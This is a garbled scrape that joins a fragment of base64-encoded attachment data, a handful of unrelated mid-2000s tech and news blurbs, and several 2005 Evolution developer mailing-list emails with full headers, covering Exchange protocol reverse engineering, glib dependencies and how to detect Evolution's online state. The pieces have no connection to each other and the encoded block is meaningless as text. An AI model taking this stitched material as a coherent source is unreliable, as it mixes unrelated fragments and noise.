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 7Mze7M7+7NAe7dI+7dRe7daO6wEBADs= ------=_NextPart_000_00IS_08S0408HR_07G.917S08B0--

 

 

The world's first Internet church has fallen victim to a plague of virtual demons, some of whom have been logging on as Satan and unleashing strings of expletives during sermons.

Office 2004 for Mac, which goes on sale today in Standard and Student/Teacher editions, is Microsoft's best effort yet to let everyone from Mac-centric corporate suits to students create documents, crunch numbers and design presentations that can be exchanged with folks in the Windows world. Beyond that, Office 2004 includes powerful new collaboration features that let teams work more productively – if they're all using Macs. Digital cameras with the power to develop a picture as big as beach towel may attract attention, but it's better to look for more-practical camera features that meet everyday needs.

As if vegetables weren't already healthy enough, UK scientists have found a way to add heart-healthy fatty acids to plants.

A sneak peek at an upcoming e-mail client by PalmSource and next version of Blackberry Enterprise Server cap the announcement between the two companies.Elvin Ray Jones, a renowned jazz drummer and member of John Coltrane's quartet who also played alongside Duke Ellington, Charlie Parker and Miles Davis, died Tuesday. He was 76. Jones died of heart failure in an Englewood, N.J., hospital, said his wife of 38 years, Keiko Jones

VeriSign loses a skirmish in its antitrust claim against the Internet's governing body.The chipmaker pads its offerings for 2P and 4P platforms with an eye to the future.

Stocks rose on Wednesday, with the Standard & Poor's 500 index (.SPX) on track to end at its highest in nearly two weeks, as strong quarterly results from Hewlett-Packard Co. (HPQ.N) and Applied Materials Inc. (AMAT.O) fueled a buying spree.

no

From Anders.Naslund@connecta.se Wed Feb 2 03:41:56 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 22982124363; Wed, 2 Feb 2005 03:41:56 -0500 (EST) Received: from ns1.connecta.se (ns1.connecta.se [217.13.248.36]) by lists.ximian.com (Postfix) with SMTP id 8EF0012441C for ; Wed, 2 Feb 2005 03:41:52 -0500 (EST) Received: (qmail 15153 invoked from network); 2 Feb 2005 08:41:49 -0000 Received: from stomail.connecta.se (192.168.1.11) by ns1.connecta.se with SMTP; 2 Feb 2005 08:41:49 -0000 x-fsavag4mse-ts: 3d1f37c38ba67e0 Received: from 192.168.91.114 ([192.168.91.114]) by stomail.connecta.se ([192.168.1.11]) with Microsoft Exchange Server HTTP-DAV ; Wed, 2 Feb 2005 08:41:51 +0000 Received: from localhost by outlook.connecta.se; 02 Feb 2005 09:41:18 +0100 Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverseengineeringunderway (MAPI, Nspi) From: , "Anders" To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.181 In-Reply-To: <1107332366.19114.24.camel@omc-3> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> <20050201201548.GL5707@lkcl.net> <1107332366.19114.24.camel@omc-3> Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Date: Wed, 02 Feb 2005 09:41:18 +0100 Message-ID: <1107333678.5793.3.camel@localhost> MIME-Version: 1.0 X-Mailer: Evolution 2.0.3-1.1.101mdk Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: ons 2005-02-02 klockan 09:19 +0100 skrev Jules Colding: > On Tue, 2005-02-01 at 20:15 +0000, Luke Kenneth Casson Leighton wrote: > > > Well not MAPI itself, but > > > the CORBA wrapper for MAPI (www.omesc.com). > > > > ooooooo :) > > > > let's find OUT! > > > > what i am looking for is a similarity between the functions i'm > > implementing and something in brutus... [snip] > > i'm hoping to understand enough of this stuff at some point > > in order to be able to have a hope of blatting a few pieces > > from some of the plethora of projects around... > > It does indeed seem that you already do understand quite a bit ;-) > ..and those of us that doesn't...follow this tread with great interest, trying to be enlightened! :-) /A > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 1 06:01:01 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 354F61240CC; Tue, 1 Feb 2005 06:01:01 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id AA04712482C for ; Tue, 1 Feb 2005 06:00:49 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 1F40C63DC8; Tue, 1 Feb 2005 05:56:44 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by skeptopotamus.ximian.com (Postfix) with ESMTP id 1804563309 for ; Tue, 1 Feb 2005 05:56:44 -0500 (EST) Received: (qmail 18871 invoked from network); 1 Feb 2005 10:56:43 -0000 Received: from localhost (HELO linux.site) (michael@127.0.0.1) by localhost with SMTP; 1 Feb 2005 10:56:43 -0000 From: michael meeks Reply-To: michael.meeks@novell.com To: Frank =?ISO-8859-1?Q?Sch=F6nheit?= Cc: Jayant Balraj Madavi , JP Rosevear , evolution In-Reply-To: <41FE3664.5030401@sun.com> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> Content-Type: text/plain; charset=ISO-8859-1 Organization: Novell, Inc. Date: Tue, 01 Feb 2005 10:49:42 +0000 Message-Id: <1107254982.12881.18.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-16.0 required=5.0 tests=BAYES_90,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Frank, On Mon, 2005-01-31 at 15:45 +0200, Frank Schönheit wrote: > According to Heiner Rechtien: No way. His points are > - we're developing C++, not C, so what do you need from this lib what > isn't (semantically equivalent) available elsewhere? The glib api is part of the e-d-s API - however, it is the stable part. > - glib has just recently been removed - the only thing still depending > on it is the Gnome integrator. RE would be quite unhappy with > re-introducing it. Well - they need it for the gtk+/vcl backend on Linux & Solaris - so ... it has to be there for the same platforms we want to build this code on. > - This would create yet another "version hell", if we'd do this. Not really; glib (in stark contrast to e-d-s) is extremely stable at both the API and ABI level - and has been since March 2002 when it was released - approaching 3 years ago. > So I fear we need to find another solution :( > What kind of code do you need from glib? Well; we call ~another g_object type 10 methods. Of course we can grab these in the same way via dlopen - but since that is not even slightly pleasant or useful for us, it'd be best if Sun engineering do that I think - I'll have a poke at MHU first though. Anyhow - I'm not eager to do that personally; however - the EApi code is in-place to let that be done fairly easily. I suggest we make it easy to disable the evoution2.0 integration, and have it default disabled in the build until such time as you want it built & can be bothered to do this extra, unpleasant work. Regards, Michael. -- michael.meeks@novell.com <><, Pseudo Engineer, itinerant idiot From jpr@novell.com Wed Feb 2 08:55:40 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D775C125009; Wed, 2 Feb 2005 08:55:40 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 86EF812488A for ; Wed, 2 Feb 2005 08:55:37 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Wed, 02 Feb 2005 06:55:32 -0700 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: JP Rosevear To: Not Zed Cc: Sivaiah Nallagatla , ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107331271.9861.83.camel@lostzed.mmc.com.au> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Wed, 02 Feb 2005 08:55:29 -0500 Message-Id: <1107352529.17600.4.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > determine the startup state? > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > way to determine when it changes. > > > > > > It is private data used by the shell only. > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > switch between online/offline modes. > > Umm, thats pretty shitty then isn't it? Why? Really there should be a desktop wide setting for online/offline that is either a gconf key or arrives via DBUS. If we rely on evolution to inform e-d-s, anything else using e-d-s externally may cause online operations. It does suck that evolution is the only place to set the key right now. -JP -- JP Rosevear From luis.villa@gmail.com Wed Feb 2 09:02:10 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0BC1C1241A9; Wed, 2 Feb 2005 09:02:10 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.193]) by lists.ximian.com (Postfix) with ESMTP id C64991242BB for ; Wed, 2 Feb 2005 09:02:06 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 67so43567wri for ; Wed, 02 Feb 2005 06:02:06 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=KYUujH9Co/NZTsfabJ/xy0UXf1iUVrNS/B+TVD82OXrgQ0AGNUYYRjH1WMN4YpgUKWXIgiH0i6/AZFB4bNLwtLQ2HBRPUe1RtDS6XV+d5qFI1fC9YVOTT8kV7GCuzS3fUjWCI/KqmnvtnXORjJPE9PSySqrNJYVkujiv6akH5r4= Received: by 10.54.6.74 with SMTP id 74mr21669wrf; Wed, 02 Feb 2005 06:02:06 -0800 (PST) Received: by 10.54.48.64 with HTTP; Wed, 2 Feb 2005 06:02:06 -0800 (PST) Message-ID: <2cb10c44050202060263f578ce@mail.gmail.com> Date: Wed, 2 Feb 2005 09:02:06 -0500 From: Luis Villa Reply-To: Luis Villa To: JP Rosevear Subject: Re: [Evolution-hackers] how to know whether evolution is online Cc: Not Zed , Sivaiah Nallagatla , ls@linux.site, =?ISO-8859-1?Q?St=E9phane_Konstantaropoulos?= , Evolution Hackers mailing list In-Reply-To: <1107352529.17600.4.camel@bishop.rosevear.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> <1107352529.17600.4.camel@bishop.rosevear.com> Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 02 Feb 2005 08:55:29 -0500, JP Rosevear wrote: > On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > > determine the startup state? > > > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > > way to determine when it changes. > > > > > > > > It is private data used by the shell only. > > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > > switch between online/offline modes. > > > > Umm, thats pretty shitty then isn't it? > > Why? Really there should be a desktop wide setting for online/offline > that is either a gconf key or arrives via DBUS. If we rely on evolution > to inform e-d-s, anything else using e-d-s externally may cause online > operations. It does suck that evolution is the only place to set the > key right now. There has been discussion of having networkmanager provide such a thing, but since that really only works on Fedora ATM, it hasn't gone very far. Luis From stephane@cs.york.ac.uk Wed Feb 2 09:04:34 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7AE9E12439C; Wed, 2 Feb 2005 09:04:34 -0500 (EST) Received: from mailgw.cs.york.ac.uk (mailgw.cs.york.ac.uk [144.32.40.3]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 4F72D124358 for ; Wed, 2 Feb 2005 09:04:31 -0500 (EST) Received: from minster.cs.york.ac.uk ([144.32.40.2]) by mailgw.cs.york.ac.uk with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1CwL3K-00062C-DJ; Wed, 02 Feb 2005 14:00:18 +0000 Received: from pc153.cs.york.ac.uk ([144.32.41.154] ident=2103) by minster.cs.york.ac.uk with esmtp (Exim 4.44) id 1CwL3K-0002Ew-9D; Wed, 02 Feb 2005 14:00:18 +0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos To: JP Rosevear Cc: Evolution Hackers mailing list In-Reply-To: <1107263506.15530.1.camel@bishop.rosevear.com> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-rm/cZ9sqxonSGnkDhG73" Organization: Computer Science, The University of York Date: Wed, 02 Feb 2005 14:00:17 +0000 Message-Id: <1107352817.5969.3.camel@pc153> Mime-Version: 1.0 X-Mailer: Evolution 2.0.0 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-rm/cZ9sqxonSGnkDhG73 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Le mardi 01 f=C3=A9vrier 2005 =C3=A0 08:11 -0500, JP Rosevear a =C3=A9crit = : >=20 > Isn't there a gconf key that determines the state? Or does that just > determine the startup state? >=20 > -JP Sorry but which one is that key? All I can find is this: /schemas/apps/evolution/shell/start_offline and this is not updated by the "offline/online button" Regards --=20 St=C3=A9phane Konstantaropoulos - Research Student, Computer Science -- University of York, http://www-users.cs.york.ac.uk/~stephane --=-rm/cZ9sqxonSGnkDhG73 Content-Type: application/pgp-signature; name=signature.asc Content-Description: Ceci est une partie de message =?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?= -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBCANzxsZFoeToEeG4RApCJAJ9OqxC/hh4zpyna2yRW4kWmHbHhggCfT8nv 5Rv1nqeb6fKzpEdjsSCeBfc= =WrM+ -----END PGP SIGNATURE----- --=-rm/cZ9sqxonSGnkDhG73-- From notzed@ximian.com Wed Feb 2 09:48:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 181D4124741; Wed, 2 Feb 2005 09:48:35 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 0A37C124570 for ; Wed, 2 Feb 2005 09:48:32 -0500 (EST) Received: (qmail 21342 invoked from network); 2 Feb 2005 14:48:30 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 14:48:30 -0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Not Zed To: JP Rosevear Cc: Sivaiah Nallagatla , ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107352529.17600.4.camel@bishop.rosevear.com> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> <1107324676.4106.2.camel@linux.site> <1107331271.9861.83.camel@lostzed.mmc.com.au> <1107352529.17600.4.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-syKyYvBR7NqTnejbcyU5" Date: Wed, 02 Feb 2005 22:43:31 +0800 Message-Id: <1107355411.9862.90.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-syKyYvBR7NqTnejbcyU5 Content-Type: text/plain Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 08:55 -0500, JP Rosevear wrote: > On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote: > > On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: > > > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > > > > > > > Isn't there a gconf key that determines the state? Or does that just > > > > > determine the startup state? > > > > > > > > The current state is stored in gconf, but it is NOT the appropriate > > > > way to determine when it changes. > > > > > > > > It is private data used by the shell only. > > > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to > > > switch between online/offline modes. > > > > Umm, thats pretty shitty then isn't it? > > Why? Really there should be a desktop wide setting for online/offline > that is either a gconf key or arrives via DBUS. If we rely on evolution > to inform e-d-s, anything else using e-d-s externally may cause online > operations. It does suck that evolution is the only place to set the > key right now. Because its a bad, naive solution. There is no way to do any cross-process synchronisation, or manage the change in state in any sane way. Using a gconf key is simply a trivial short-term hack that wont provide the features necessary to do it properly. --=-syKyYvBR7NqTnejbcyU5 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Wed, 2005-02-02 at 08:55 -0500, JP Rosevear wrote: 
On Wed, 2005-02-02 at 16:01 +0800, Not Zed wrote:
> On Wed, 2005-02-02 at 11:41 +0530, Sivaiah Nallagatla wrote: 
> > On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote:
> > > 
> > > > Isn't there a gconf key that determines the state?  Or does that just
> > > > determine the startup state?
> > > 
> > > The current state is stored in gconf, but it is NOT the appropriate
> > > way to determine when it changes.
> > > 
> > > It is private data used by the shell only.
> > Oh, Why it is not appropirate?, e-d-s also listnes to this key change to
> > switch between online/offline modes.
> 
> Umm, thats pretty shitty then isn't it?

Why?  Really there should be a desktop wide setting for online/offline
that is either a gconf key or arrives via DBUS.  If we rely on evolution
to inform e-d-s, anything else using e-d-s externally may cause online
operations.  It does suck that evolution is the only place to set the
key right now.

Because its a bad, naive solution.

There is no way to do any cross-process synchronisation, or manage the change in state in any sane way.

Using a gconf key is simply a trivial short-term hack that wont provide the features necessary to do it properly.


